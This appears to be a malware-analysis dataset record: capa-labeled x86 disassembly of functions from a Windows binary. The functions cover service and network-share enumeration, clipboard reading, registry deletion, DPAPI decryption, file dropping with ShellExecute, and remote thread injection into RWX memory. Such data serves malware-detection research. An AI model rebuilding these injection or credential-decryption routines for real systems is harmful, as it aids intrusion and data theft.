joyce8/EMBER2024-capa huggingface dataset:
Function at 0x452f34
Capabilities:
Enumerate services

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x909
push 0
push 0
dec ecx
jne 0x452f3c
push ebx
push esi
push edi
mov esi, eax
xor eax, eax
push ebp
push 0x45317b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.004052b8
push 5
push 0
push 0
call sub.advapi32.dll_OpenSCManagerA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x45315d
xor eax, eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push 0x4800
lea eax, [ebp - 0x4814]
push eax
push 3
push 0x30
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_EnumServicesStatusA
mov edi, dword [ebp - 0x10]
dec edi
test edi, edi
jl 0x453144
inc edi
lea ebx, [ebp - 0x4814]
lea eax, [ebp - 0x4818]
mov edx, dword [ebx]
call fcn.004054b0
mov edx, dword [ebp - 0x4818]
mov eax, esi
call fcn.004055a0
push dword [esi]
push 0x453194
lea eax, [ebp - 0x4820]
mov edx, dword [ebx]
call fcn.004054b0
mov eax, dword [ebp - 0x4820]
lea edx, [ebp - 0x481c]
call fcn.00452b78
push dword [ebp - 0x481c]
mov eax, esi
mov edx, 3
call fcn.00405668
push dword [esi]
push 0x453194
lea eax, [ebp - 0x4824]
push eax
lea eax, [ebp - 0x4828]
mov edx, dword [ebx]
call fcn.004054b0
mov eax, dword [ebp - 0x4828]
xor ecx, ecx
xor edx, edx
call fcn.00452c30
push dword [ebp - 0x4824]
mov eax, esi
mov edx, 3
call fcn.00405668
push dword [esi]
push 0x453194
lea eax, [ebp - 0x4830]
mov edx, dword [ebx]
call fcn.004054b0
mov edx, dword [ebp - 0x4830]
lea ecx, [ebp - 0x482c]
xor eax, eax
call fcn.00452d18
push dword [ebp - 0x482c]
mov eax, esi
mov edx, 3
call fcn.00405668
push dword [esi]
push 0x453194
push 0x4531a0
lea eax, [ebp - 0x4834]
push eax
lea eax, [ebp - 0x483c]
mov edx, dword [ebx]
call fcn.004054b0
mov ecx, dword [ebp - 0x483c]
lea eax, [ebp - 0x4838]
mov edx, 0x4531b4
call fcn.004055ec
mov edx, dword [ebp - 0x4838]
mov ecx, 1
mov eax, 0x80000002
call fcn.0045296c
push dword [ebp - 0x4834]
mov eax, esi
mov edx, 3
call fcn.00405668
push dword [esi]
push 0x453194
lea eax, [ebp - 0x4848]
mov edx, dword [ebx]
call fcn.004054b0
mov ecx, dword [ebp - 0x4848]
lea eax, [ebp - 0x4844]
mov edx, 0x4531b4
call fcn.004055ec
mov edx, dword [ebp - 0x4844]
mov ecx, 0x4531e0
mov eax, 0x80000002
call fcn.00452e34
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x4840]
call fcn.00452ed0
push dword [ebp - 0x4840]
push 0x4531f0
mov eax, esi
mov edx, 4
call fcn.00405668
add ebx, 0x24
dec edi
jne 0x452fb2
cmp dword [ebp - 0xc], 0
jne 0x452f7a
cmp dword [ebp - 8], 0
jbe 0x45315d
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_CloseServiceHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x453182
lea eax, [ebp - 0x4848]
mov edx, 0xd
call fcn.004052dc
ret
Function at 0x453514
Capabilities:
List drag and drop files
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbe0
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x420], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x453612
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
mov eax, ebx
call fcn.00405a2c
push 0
call sub.user32.dll_OpenClipboard
xor eax, eax
push ebp
push 0x4535f2
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xf
call sub.user32.dll_GetClipboardData
mov edi, eax
test edi, edi
je 0x4535df
push 0
push 0
push 0xffffffffffffffff
push edi
call sub.shell32.dll_DragQueryFileW
mov esi, eax
mov eax, ebx
call fcn.00405a2c
dec esi
test esi, esi
jl 0x4535db
inc esi
mov dword [ebp - 8], 0
mov word [ebp - 0x41a], 0
push 0x412
lea eax, [ebp - 0x41a]
push eax
mov eax, dword [ebp - 8]
push eax
push edi
call sub.shell32.dll_DragQueryFileW
push dword [ebx]
lea eax, [ebp - 0x420]
lea edx, [ebp - 0x41a]
mov ecx, 0x209
call fcn.00405bbc
push dword [ebp - 0x420]
push 0x453628
mov eax, ebx
mov edx, 3
call fcn.00405cd4
inc dword [ebp - 8]
dec esi
jne 0x453587
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4535f9
call sub.user32.dll_CloseClipboard
ret

Function at 0x453630
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, eax
push 0
call sub.user32.dll_OpenClipboard
push 1
call sub.user32.dll_GetClipboardData
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x453699
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 4], 0
je 0x453670
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_GlobalLock
mov edx, eax
mov eax, ebx
call fcn.004054b0
jmp 0x453677
mov eax, ebx
call fcn.004052b8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4536a0
cmp dword [ebp - 4], 0
je 0x453693
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_GlobalUnlock
call sub.user32.dll_CloseClipboard
ret
Function at 0x4546ec
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405754
xor eax, eax
push ebp
push 0x454829
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
call fcn.004052b8
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x454840
call fcn.00405854
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.004057cc
mov eax, dword [ebp - 0x1c]
call fcn.00453c14
mov esi, eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x45475d
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 0xc]
push eax
push 8
push 0
lea eax, [ebp - 0x20]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x454840
call fcn.00405854
mov edx, eax
inc edx
mov ecx, ebx
mov eax, dword [ebp - 4]
call fcn.004057cc
mov eax, dword [ebp - 0x20]
call fcn.00405764
push eax
push esi
call sub.advapi32.dll_RegOpenKeyExA_1
mov dword [ebp - 0x10], 0xff
mov eax, dword [ebp - 0x10]
call fcn.00402ea0
mov ebx, eax
xor esi, esi
jmp 0x4547d1
push dword [ebp - 8]
lea eax, [ebp - 0x24]
mov edx, ebx
call fcn.004054b0
push dword [ebp - 0x24]
push 0x45484c
lea eax, [ebp - 8]
mov edx, 3
call fcn.00405668
inc esi
mov dword [ebp - 0x10], 0xff
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x10]
push eax
push ebx
push esi
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegEnumKeyExA
test eax, eax
je 0x4547a7
mov eax, edi
mov edx, dword [ebp - 8]
call fcn.0040530c
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x454830
lea eax, [ebp - 0x24]
mov edx, 3
call fcn.004052dc
lea eax, [ebp - 8]
mov edx, 2
call fcn.004052dc
ret
Function at 0x455178
Capabilities:
Delete registry key
Delete registry value
Query or enumerate registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], edx
mov esi, eax
xor eax, eax
push ebp
push 0x455304
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
lea eax, [ebp - 4]
mov edx, 0x200
call fcn.00405998
mov eax, 0x2000
call fcn.00455158
mov dword [ebp - 0x1c], eax
xor eax, eax
push ebp
push 0x4552e7
push dword fs:[eax]
mov dword fs:[eax], esp
xor edi, edi
mov dword [ebp - 0x10], 0x200
mov dword [ebp - 0x14], 0x2000
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 4]
call fcn.00405764
push eax
push edi
push esi
call sub.advapi32.dll_RegEnumValueA
mov ebx, eax
test ebx, ebx
jne 0x45522e
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x18]
push eax
push 0
mov eax, dword [ebp - 4]
call fcn.00405764
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegSetValueExA
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00405764
push eax
push esi
call sub.advapi32.dll_RegDeleteValueA
test ebx, ebx
je 0x4551c7
xor edi, edi
mov dword [ebp - 0x10], 0x200
mov dword [ebp - 0x14], 0x2000
push 0
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x1c]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 4]
call fcn.00405764
push eax
push edi
push esi
call sub.advapi32.dll_RegEnumKeyExA
mov ebx, eax
test ebx, ebx
jne 0x4552c9
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp - 4]
call fcn.00405764
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCreateKeyA
mov ebx, eax
test ebx, ebx
jne 0x4552c9
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp - 4]
call fcn.00405764
push eax
push esi
call sub.advapi32.dll_RegCreateKeyA
mov ebx, eax
test ebx, ebx
jne 0x4552c0
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
call fcn.00455178
mov eax, dword [ebp - 0x24]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, dword [ebp - 4]
call fcn.00405764
push eax
push esi
call sub.advapi32.dll_RegDeleteKeyA
mov eax, dword [ebp - 0x20]
push eax
call sub.advapi32.dll_RegCloseKey_1
test ebx, ebx
je 0x455234
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4552ee
mov eax, dword [ebp - 0x1c]
call fcn.00402ebc
ret
Function at 0x455388
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00405754
mov eax, dword [ebp - 8]
call fcn.00405754
xor eax, eax
push ebp
push 0x455425
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00405764
mov esi, eax
push esi
push ebx
call sub.advapi32.dll_RegOpenKeyA
test eax, eax
jne 0x45540a
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
call fcn.00405764
push eax
push ebx
call sub.advapi32.dll_RegCreateKeyA
test eax, eax
jne 0x4553f1
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.00455178
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_RegCloseKey_1
push esi
push ebx
call sub.advapi32.dll_RegDeleteKeyA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45542c
lea eax, [ebp - 8]
mov edx, 2
call fcn.004052dc
ret

Function at 0x4555c0
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
mov ebx, ecx
xor ecx, ecx
push ebp
push 0x45563d
push dword fs:[ecx]
mov dword fs:[ecx], esp
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push eax
push 1
push 0
push 0
push 0
push 0
lea eax, [ebp - 8]
push eax
call sub.crypt32.dll_CryptUnprotectData_1
test eax, eax
je 0x455623
mov eax, ebx
mov edx, dword [ebp - 0xc]
call fcn.004054e0
mov eax, ebx
mov edx, 0x455654
call fcn.004055a0
mov eax, ebx
mov edx, dword [ebp - 0x10]
call fcn.00405998
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_LocalFree
jmp 0x45562f
mov eax, ebx
mov edx, 0x455660
call fcn.0040530c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x455644
ret

Function at 0x455d68
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 4
add esp, 0xfffff004
push eax
dec eax
jne 0x455d71
mov eax, dword [ebp - 4]
add esp, 0xfffff1d4
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov ebx, dword [ebp + 8]
lea eax, [ebp - 4]
call fcn.00405e80
lea eax, [ebp + 0xc]
call fcn.00405e80
xor eax, eax
push ebp
push 0x455e34
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x10], 0x4e20
mov eax, ebx
call fcn.00405a2c
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00405be8
push eax
push esi
call sub.advapi32.dll_RegOpenKeyW
test eax, eax
jne 0x455e16
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x4e30]
push eax
lea eax, [ebp - 8]
push eax
push 0
mov eax, dword [ebp + 0xc]
call fcn.00405be8
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x455e16
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
lea edx, [ebp - 0x4e30]
mov ecx, 0x2710
call fcn.00405bbc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x455e3b
lea eax, [ebp - 4]
call fcn.00405a2c
lea eax, [ebp + 0xc]
call fcn.00405a2c
ret
Function at 0x45642c
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x1c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4565a4
push dword fs:[eax]
mov dword fs:[eax], esp
test ebx, ebx
je 0x456581
push 0x4565b4
push 0x4565c0
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [ebp - 0x18], eax
push 0x4565d0
push 0x4565c0
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [ebp - 0x14], eax
push 0x4565dc
push 0x4565c0
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [ebp - 0x10], eax
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.00403310
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov esi, dword [ebp - 0x20]
test esi, esi
je 0x4564bc
sub esi, 4
mov esi, dword [esi]
push 0x40
push 0x3000
inc esi
push esi
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x24]
xor eax, eax
call fcn.00403310
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x20], eax
mov esi, dword [ebp - 0x20]
test esi, esi
je 0x4564ec
sub esi, 4
mov esi, dword [esi]
lea eax, [ebp - 4]
push eax
inc esi
push esi
lea edx, [ebp - 0x28]
xor eax, eax
call fcn.00403310
mov eax, dword [ebp - 0x28]
call fcn.00405764
push eax
mov eax, dword [ebp - 0xc]
push eax
push ebx
call sub.kernel32.dll_WriteProcessMemory
push 0x40
push 0x3000
push 0x10
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0x10
lea eax, [ebp - 0x18]
push eax
push esi
push ebx
call sub.kernel32.dll_WriteProcessMemory
cmp dword [ebp - 4], 0x10
jne 0x456581
push 0x40
push 0x3000
push 0x1f4
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
lea eax, [ebp - 4]
push eax
push 0x1f4
push 0x4563f8
push edi
push ebx
call sub.kernel32.dll_WriteProcessMemory
cmp dword [ebp - 4], 0x1f4
jne 0x456581
lea eax, [ebp - 8]
push eax
push 0
push esi
push edi
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
test eax, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4565ab
lea eax, [ebp - 0x28]
mov edx, 2
call fcn.004052dc
lea eax, [ebp - 0x1c]
call fcn.004052b8
ret
Function at 0x456644
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe6c
push ebx
push esi
mov esi, edx
mov ebx, eax
mov eax, esi
mov edx, ebx
call fcn.0040530c
mov eax, ebx
mov edx, 0x456704
call fcn.004056fc
jne 0x456678
mov eax, esi
mov edx, 0x456718
call fcn.0040530c
jmp 0x4566f3
lea eax, [ebp - 0x194]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
test eax, eax
jne 0x4566f3
xor eax, eax
push ebp
push 0x4566ec
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00405764
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x4566bd
call sub.wsock32.dll_WSACleanup
call fcn.00404cb4
jmp 0x4566f3
push 2
push 4
lea eax, [ebp - 4]
push eax
call sub.wsock32.dll_gethostbyaddr
mov ebx, eax
test ebx, ebx
je 0x4566d9
mov eax, esi
mov edx, dword [ebx]
call fcn.004054b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4566f3
call sub.wsock32.dll_WSACleanup
ret
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x456800
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe6c
cmp byte [0x496908], 0
je 0x4568be
lea eax, [ebp - 0x194]
push eax
push 2
call sub.wsock32.dll_WSAStartup
xor edx, edx
push ebp
push 0x4568b7
push dword fs:[edx]
mov dword fs:[edx], esp
cmp byte [0x49690a], 0
je 0x456884
xor eax, eax
mov dword [ebp - 4], eax
push 0
push 5
push 2
push 0xffffffffffffffff
lea eax, [ebp - 4]
push eax
mov eax, dword [0x496920]
push eax
call dword [0x496918]
cmp eax, 0x7a
jne 0x4568a4
mov eax, dword [ebp - 4]
call fcn.00402ea0
mov dword [0x496920], eax
push 0
push 5
push 2
push 0xffffffffffffffff
lea eax, [ebp - 4]
push eax
mov eax, dword [0x496920]
push eax
call dword [0x496918]
jmp 0x4568a4
cmp byte [0x496909], 0
je 0x4568a4
push 2
push 2
call sub.kernel32.dll_GetProcessHeap
push eax
push 0xffffffffffffffff
push 0x496920
call dword [0x49690c]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4568be
call sub.wsock32.dll_WSACleanup
ret
mov esp, ebp
pop ebp
ret

Function at 0x4568c4
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe6c
cmp byte [0x496908], 0
je 0x456982
lea eax, [ebp - 0x194]
push eax
push 2
call sub.wsock32.dll_WSAStartup
xor edx, edx
push ebp
push 0x45697b
push dword fs:[edx]
mov dword fs:[edx], esp
cmp byte [0x49690a], 0
je 0x456948
xor eax, eax
mov dword [ebp - 4], eax
push 0
push 1
push 2
push 0xffffffffffffffff
lea eax, [ebp - 4]
push eax
mov eax, dword [0x496924]
push eax
call dword [0x49691c]
cmp eax, 0x7a
jne 0x456968
mov eax, dword [ebp - 4]
call fcn.00402ea0
mov dword [0x496924], eax
push 0
push 1
push 2
push 0xffffffffffffffff
lea eax, [ebp - 4]
push eax
mov eax, dword [0x496924]
push eax
call dword [0x49691c]
jmp 0x456968
cmp byte [0x496909], 0
je 0x456968
push 2
push 2
call sub.kernel32.dll_GetProcessHeap
push eax
push 0xffffffffffffffff
push 0x496924
call dword [0x49690c]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x456982
call sub.wsock32.dll_WSACleanup
ret
mov esp, ebp
pop ebp
ret
Function at 0x45707c
Capabilities:
Query or enumerate registry value

Disassembly:
add esp, 0xfffffff4
cmp byte [0x496960], 0
jne 0x4570ef
cmp byte [0x496961], 0
je 0x4570ef
mov byte [0x496961], 0
mov eax, dword [0x496968]
push eax
call sub.advapi32.dll_RegCloseKey_1
push esp
push 0xf003f
push 0
push 0x4570f4
push 0x80000006
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x4570ef
mov dword [esp + 4], 4
lea eax, [esp + 4]
push eax
push 0x496964
lea eax, [esp + 0x10]
push eax
push 0
push 0x457108
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
add esp, 0xc
ret
Function at 0x457670
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffef8
mov ebx, eax
push 0x104
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
mov edx, ebx
mov eax, esp
call fcn.00409f94
add esp, 0x108
pop ebx
ret

Function at 0x45769c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405754
mov eax, dword [ebp - 8]
call fcn.00405754
xor eax, eax
push ebp
push 0x45773e
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov eax, dword [ebp - 8]
test eax, eax
je 0x4576d7
sub eax, 4
mov eax, dword [eax]
mov esi, eax
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
mov eax, dword [ebp - 4]
call fcn.00405764
push eax
call sub.kernel32.dll_CreateFileA_1
mov edi, eax
cmp edi, 0xffffffff
je 0x457723
push 0
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 8]
call fcn.004057c4
push eax
push edi
call sub.kernel32.dll_WriteFile_1
push edi
call sub.kernel32.dll_CloseHandle_1
cmp esi, dword [ebp - 0xc]
jne 0x457723
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x457745
lea eax, [ebp - 8]
mov edx, 2
call fcn.004052dc
ret

Function at 0x457750
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405754
xor eax, eax
push ebp
push 0x457841
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x40000000
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.00405764
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x457814
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_GetFileSize_1
mov esi, eax
mov eax, esi
call fcn.00402ea0
mov ebx, eax
push 0
lea eax, [ebp - 0x14]
push eax
push esi
mov edi, ebx
push edi
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_ReadFile_1
lea eax, [ebp - 8]
mov edx, dword [ebp - 0x14]
call fcn.00405998
lea eax, [ebp - 8]
call fcn.004057c4
mov edx, eax
mov eax, edi
mov ecx, dword [ebp - 0x14]
call fcn.00403114
mov eax, ebx
call fcn.00402ebc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45781b
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
Function at 0x45795c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405754
mov eax, dword [ebp - 8]
call fcn.00405754
xor eax, eax
push ebp
push 0x4579fe
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov eax, dword [ebp - 8]
test eax, eax
je 0x457997
sub eax, 4
mov eax, dword [eax]
mov esi, eax
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
mov eax, dword [ebp - 4]
call fcn.00405764
push eax
call sub.kernel32.dll_CreateFileA_1
mov edi, eax
cmp edi, 0xffffffff
je 0x4579e3
push 0
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 8]
call fcn.004057c4
push eax
push edi
call sub.kernel32.dll_WriteFile_1
push edi
call sub.kernel32.dll_CloseHandle_1
cmp esi, dword [ebp - 0xc]
jne 0x4579e3
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x457a05
lea eax, [ebp - 8]
mov edx, 2
call fcn.004052dc
ret

Function at 0x457a10
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405754
xor eax, eax
push ebp
push 0x457a8b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
call fcn.0045db18
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 8]
mov ecx, 0x457aa0
call fcn.004055ec
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 8]
call fcn.0045795c
push 0
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00405764
push eax
push 0x457aac
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x457a92
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004052dc
ret

Function at 0x457ac4
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x457b9c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
call fcn.004052b8
xor eax, eax
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x20]
push eax
push 2
push 0
call sub.NetAPI32.dll_NetShareEnum
test eax, eax
jne 0x457b81
mov ebx, dword [ebp - 0x20]
mov edi, dword [ebp - 0x18]
dec edi
test edi, edi
jl 0x457b78
inc edi
lea edx, [ebp - 4]
mov esi, ebx
mov eax, dword [esi]
call fcn.00406304
lea edx, [ebp - 8]
mov eax, dword [esi + 0x18]
call fcn.00406304
lea edx, [ebp - 0xc]
mov eax, dword [esi + 8]
call fcn.00406304
mov eax, dword [ebp - 0x10]
push dword [eax]
push 0x457bb4
push dword [ebp - 4]
push 0x457bc0
push dword [ebp - 8]
push 0x457bc0
push dword [ebp - 0xc]
push 0x457bc0
mov eax, dword [ebp - 0x10]
mov edx, 8
call fcn.00405668
add ebx, 0x20
dec edi
jne 0x457b21
lea eax, [ebp - 0x20]
push eax
call sub.NetAPI32.dll_NetApiBufferFree
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x457ba3
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004052dc
ret